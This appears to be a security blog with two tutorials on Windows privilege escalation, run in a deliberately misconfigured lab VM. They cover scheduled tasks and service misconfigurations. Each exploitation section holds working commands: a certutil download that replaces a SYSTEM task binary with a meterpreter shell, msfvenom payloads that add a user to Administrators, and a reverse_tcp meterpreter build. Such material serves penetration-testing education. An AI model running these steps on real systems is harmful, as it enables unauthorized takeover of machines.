It's all about security.

A simple blog where you can find different things about digital security.

Common Windows Misconfigurations: Scheduled Tasks

System configuration

If you want to reproduce the two ‘exploitation case’ that I will present in this blog post you can follow this section to create two misconfigured scheduled tasks.

First we create directories.

mkdir "C:\ScheduledTasks\Task1"
mkdir "C:\ScheduledTasks\Task2"
mkdir "C:\ScheduledTasks\Task3"

The first task and last task will execute a binary and the second task will execute a BAT file.

copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe"
echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i  > C:\ScheduledTasks\Task2\something.bat
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe"

We disallow the lowuser user the write access to the C:\ScheduledTasks\Task1\ and C:\ScheduledTasks\Task2\ folders and the write and delete access to the C:\ScheduledTasks\Task2\something.bat file.

icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W)
icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D)
icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W)

Now, we can create three scheduled tasks with the schtasks command. Note, for those who want to learn how to use schtask you can read this Microsoft page. Moreover, the last task will be executed with lowuser privilege instead of NT Authority\System.

schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2
schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2

We’re now ready.


windows scheduled tasks & MISCONFIGURATION

According to Microsoft:

“The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. The Task Scheduler does this by monitoring whatever criteria you choose to initiate the tasks (referred to as triggers) and then executing the tasks when the criteria is met.“

Comparable to cron jobs in Unix system, the Task Scheduler will execute an action for a defined trigger.

The different actions that the Task Scheduler can archive are:

  • Firing a COM handler

  • Executing a binary

  • Send an email

  • Showing a message box

The different trigger that can be used to execute an action are:

  • Time-based

    • Time trigger

    • Daily trigger

    • Weekly trigger

    • Monthly trigger

  • Event-based

    • IDLE trigger

    • Boot trigger

    • Registration trigger

    • Logon trigger

    • Session state change trigger

Note, a task can be fired with multiple triggers.

A simple example would be; I want a task that will execute a script every time a user log in the system or to pop a message box every months to remember that I have to change my passwords.

Described like that, it’s not really dangerous, but the problem is that in most cases tasks are executed with high privileges, by NT Authority\System. So, if the action is to execute a binary and if the binary can be overwritten with an arbitrary one, that could lead to a privilege escalation.

Documentation & reference:


Tasks Enumeration

In order to get all scheduled tasks, we can use the DOS command schtask, documented here.

schtasks /query /fo LIST 2>nul

Or, we can use the Powershell cmdlet Get-ScheduledTask, documented here.


From here, we have a lot of tasks, so let’s work a bit with PowerShell to get a more relevant output. First, we can remove all tasks located under the /Microsoft/Windows/ path just because, most of the time, it’s the default scheduled tasks.

Get-ScheduledTask | Select * | ? {$_.TaskPath -notlike "\Microsoft\Windows\*"} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}

Awesome, we have five tasks, now we can remove the tasks who are executed with the same privilege as our lowuser user.

Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, Task
Path, TaskName, @{Name="User";Expression={$_.Principal.userID}}

Finally, we have two interesting task, that are worth to analyse, Task1 and Task2.


Exploit case: TASK1

Let’s see how we can exploit this first scheduled task to gain more privileges on this system.

We can use this following PowerShell commands to get the interval of execution of the Task.

$task= Get-ScheduledTask -TaskName Task1
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}

We can find the actions of this task with these commands.

$task= Get-ScheduledTask -TaskName Task1
ForEach ($action in $task.Actions) { Select $action.Execute}

So, according to the outputs, Task1 is executing the C:\ScheduledTasks\Task1\something.exe binary every two minutes. As a low privilege user we have to check if we can overwrite this file.

The awesome accesschk.exe tool can be used.

C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe

We have write permission, so, we can replace the original something.exe binary by a meterpreter shell.

certutil -urlcache -split -f "" C:\ScheduledTasks\Task1\something.exe

After max two minutes we gain a meterpreter session with SYSTEM privileges.


Exploit case: TASK2

Same as previously, let’s see the interval and the action executed by Task2.

$task = Get-ScheduledTask -TaskName Task2
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
ForEach ($action in $task.Actions) { echo $action.Execute }

Interesting, a bat file is executed.


According to what we have so far, every two minutes Task2 will execute C:\ScheduledTasks\Task2\something.bat, that will execute in turn every lines of the C:\ScheduledTasks\Task2\.secret\file.txt file.

Fortunately for us, the lowuser user have write access to this directory.

C:\Toolbox\accesschk64.exe -accepteula -dwv lowuser C:\ScheduledTasks\Task2\

So, we can create a new directory named “.secret” and add the command that we want to execute as SYSTEM in the “file.txt” file.

mkdir C:\ScheduledTasks\Task2\.secret
echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt

After max two minutes we have a SYSTEM shell.



Common Windows Misconfigurations: Services


A few days ago, I had the chance to attempt a Windows Security course (part of the Context Information Security bootcamp) where I learned a lot of things and where they teach the use of cutting-edge techniques to bypass AppLocker’s policies, misconfigured services, scheduled tasks and more!

Moreover, I was, and I am really interested in the security of Windows systems, so, the natural way of things is to share what I learned with you, readers.



If you want to follow and test by yourself the things that we will see in this post I highly encourage you to follow this little setup.

First, you can download for free a Windows 10 virtual machine: here. Note, I’m using the MSEdge (x64) on VMWare with 4GB of RAM and 2 processor core. Then when you are logged in with the default IEUSer, who is an administrator, you can create a new low privileged user.

net user lowuser lowuser1234 /add

First, we create four directory and we add four dummy service.

# Create directories for the binaryPath of our services
mkdir "C:\WeakServices\Weak Service 1"
mkdir "C:\WeakServices\WeakService2"
mkdir "C:\WeakServices\WeakService3"
mkdir "C:\WeakServices\WeakService4"

# Use a default binary
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\Weak Service 1\service1.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService2\service2.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService3\service3.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService4\service4.exe"

Second, we configure the directories’ rights. More information about icacls.exe here.

icacls "C:\WeakServices\Weak Service 1" /deny lowuser:M
icacls "C:\WeakServices\WeakService3" /deny lowuser:M
icacls "C:\WeakServices\WeakService4" /deny lowuser:M

Third, we create our four services. Documentation about sc.exe create here.

sc create WeakService1 displayName= "Unquoted Service Path" binPath= "C:\WeakServices\Weak Service 1\service1.exe" start= auto
sc create WeakService2 displayName= "Weak Folder Permissions" binPath= "C:\WeakServices\WeakService2\service2.exe" start= auto
sc create WeakService3 displayName= "Weak Service Permissions" binPath= "C:\WeakServices\WeakService3\service3.exe" obj= .\lowuser password= lowuser1234 start= auto
sc create WeakService4 displayName= "Weak Registry Permissions" binPath= "C:\WeakServices\WeakService4\service4.exe" start= demand

Finally, we can modify the permissions of the WeakService3 and give to lowuser a FullControl to the WeakService4‘s registry key. Note, fore more information about sc.exe sdset you can read this page and for

# Modifying WeakService3's permissions

We are ready to go!


Windows Services & COMMON misconfigurations

According to Microsoft:

“Microsoft Windows services, formerly known as NT services, enable you to create long-running executable applications that run in their own Windows sessions.“

In fact this is an application that will run in background, like daemons on Linux/Unix systems. Services who are conform to the Service Control Manager (SCM) can be managed via a GUI with the Service Control Panel or trough command line with the DOS command sc.

Few things to note when we deal with services,

  • Services are not always running with System privileges;

  • Services have different starting mode: auto, demand, etc …; and

  • Services cannot be stop/start by anyone.

So, before trying to exploit a Windows service it’s important to see if we are, as a low privilege account, able to modify the configuration of the service, if this service will give us more privileges and how to trig the modifications (e.g. in a real world scenario if we need to reboot a production server to exploit a service it might not be a good idea).

Now that we know a bit more about Windows services, let talk about the four common misconfigurations:

  • Unquoted Service Path

  • Weak Folder Permissions

  • Weak Service Permissions

  • Weak Registry Permissions



Unquoted Service Path

When a service is started, during the boot or manually, Windows will search the binary to execute. So, two case occur, first the binPath of the service is quoted and Windows directly know where the binary is located or, second case, the binPath is unquoted and Windows don’t know where the binary is located and will search in all folders, from the beginning of the path.

So, if we want to exploit this misconfiguration, three conditions have to be met:

  • The service path is unquoted;

  • The service path contains space; and

  • We have write permissions in one of the intermediate folders.

First, let’s find an unquoted service. For that we can use wmic, the command-line interface of the Windows Management Instrumentation (WMI). Moreover, by using findstr with the /i switch we can filter out everything that, in our case, contains C:\Windows\ or a double quote.

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

To understand what append next let’s take a look at two different service’s configurations, WeakService1 and WinDefend:


In the first case, with WeakService1, Windows will search in this order:

  • C:WeakServices\Weak Service 1\service1.exe

  • C:WeakServices\Weak Service 1\service1.exe

  • C:WeakServices\Weak Service 1\service1.exe

On the other hand, with WinDefend, due to the quote, Windows will directly execute “C:\ProgramData\Microsoft\Windows Defender\platform\4.18.1807.18075-0\MsMpEng.exe”.

We know that the WeakService1 is unquoted and as we can see contain spaces, so the last thing that we have to do is to check for write permissions. For that we can use two different tools, icacls.exe who is by default in Windows or accesschk.exe from the SysInternals tools (downloadable here). Personally, I prefer accesschk.exe but both are usable and help use to find what we want.

According to this Microsoft page and to the icacls output, we have write permissions on the C:\WeakServices\ folder.

icacls C:\WeakServices

That can be confirmed with a less cryptic output from accesschk.exe.

C:\Tools\accesschk.exe -dv lowuser C:\WeakServices

Now that all requirements are validated, we simply have to create a malicious binary and to save it in the C:\WeakServices\ folder. We don’t have to over complicate it, we can use msfvenom.

msfvenom --payload windows/exec CMD="net localgroup Administrators lowuser /add" -f exe -o Weak.exe

Due to the fact our low privilege user don’t have permission to start/stop the WeakService1 service, we can reboot the system, action who lead to an elevation of our privileges by the execution of the Weak.exe binary instead of the C:\WeakServices\Weak Service 1\service.exe one. One more time, in a real world scenario rebooting a production server or a computer is not safe and may trig alarms.

shutdown -r -t 0

Weak Folder Permissions

Everything is in the name, if a low privilege user have write permissions in a folder used by a service, he can change the binary with an arbitrary one.

Let’s take example with the WeakService2 service.

sc qc WeakService2

We can easily see if we have write permission to this path with icacls.exe.

icacls C:\WeakServices\WeakService2

Or with accesschk.exe.

C:\Tools\accesschk.exe -dvw lowuser C;\WeakServices\*

Now, we can create a malicious binary and replace C:\WeakServices\WeakService2\service2.exe.

msfvenom --payload windows/exec CMD="net localgroup Administrators lowpriv /add" -f exe -o service2.exe

If we reboot the system we should, one more time, be part of the Administrators local group.


Weak Service permissions

Another common misconfiguration is when a service is modifiable by an low privilege user. When it occur, this user can change the path of the binary to execute and the account who will execute the service.

Let’s check the configuration of the WeakService3 service.

sc qc WeakService3

As we can see, the binary path is C:\WeakServices\WeakService3\service3.exe and the service is executed with low privilege (.\lowuser), but if we check the permissions of this service with accesschk.exe we can see that we have enough rights to change the configuration.

C:\Tools\accesschk.exe -cv lowuser WeakService3

So, how we can lead this misconfiguration to a privilege escalation? We can change the path of the binary to execute with an arbitrary one and, the most important, we can change the account who will execute the service.

sc config WeakService3 binPath= "C:\Windows\System32\Spool\drivers\color\evilbinary.exe" obj= "LocalSystem"

We upload our malicious binary and we start the service in order to gain, in this case, a reverse shell with System privilege.

msfvenom --payload windows/x64/meterpreter/reverse_tcp LHOST= LPORT=7734 -f exe -o evilbinary.exe

Note, we have to migrate to another process because the service will not respond and stop and the meterpreter session (in the process memory) will die with him.


Weak Registry Permissions

Last one, the misconfigured service’s registry key, and , honestly the chance to find this misconfiguration is really, really low, because an Administrator have to manually change the permission of the service’s registry key.

In Windows, services, like a tons of other things, have a registry keys and those keys are located at: HKLM\SYSTEM\CurrentControlSet\Services\<service_name>.


To check the permissions of registry key, as usual, we can use accesschk.exe, and, fortunately for us, the WeakService4 registry key is writable by our low privilege user.

C:\Tools\accexxchk.exe -kvw lowuser HKLM\SYSTEM\CurrentControlSet\Services\

So, by changing the ImagePath value with the path of one of our malicious binary (by double-clicking on the name) we will be able to execute whatever we want.

Then, by rebooting the system we will restart the service and execute our binary.

msfvenom --payload windows/exec CMD="net localgroup Administrators lowpriv /add" -f exe -o anotherevilbinary.exe